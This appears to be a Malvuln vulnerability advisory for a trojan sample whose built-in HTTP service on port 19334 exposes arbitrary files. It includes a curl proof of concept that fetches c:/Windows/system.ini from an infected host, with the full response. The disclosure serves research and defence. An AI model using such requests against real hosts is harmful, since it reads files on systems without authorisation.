HEUR:Trojan.MSIL.Agent.gen malware suffers from an information disclosure vulnerability.
e2541968fed4764deda9f626a5dd6d150f8556edd06d7b191deae236b82a62c2
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/bc2ccf92bea475f828dcdcb1c8f6cc92.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: HEUR:Trojan.MSIL.Agent.gen
Vulnerability: Information Disclosure
Description: the malware runs an HTTP service on port 19334. Attackers who can reach an infected host can make HTTP GET requests to download and or stat arbitrary files using forced browsing.
Family: Agent
Type: PE64
MD5: bc2ccf92bea475f828dcdcb1c8f6cc92
Vuln ID: MVID-2022-0654
Disclosure: 11/09/2022
Exploit/PoC:
C:\>curl "http://192.168.18.125:19334/c:/Windows/system.ini" -v
Trying 192.168.18.125:19334...
Connected to 192.168.18.125 (192.168.18.125) port 19334 (#0)
GET /c:/Windows/system.ini HTTP/1.1
Host: 192.168.18.125:19334
User-Agent: curl/7.83.1
Accept: */*
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
HTTP/1.0 200 OK
content-encoding: utf8
content-type: application/octet-stream
date: Tue, 08 Nov 2022 23:11:55 GMT
last-modified: Sat, 16 Jul 2016 07:45:35 GMT
content-disposition: attachment; filename*=UTF-8''system.ini; filename="system.ini"
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
[drivers]
wave=mmdrv.dll
timer=timer.drv
[mci]
* Closing connection 0
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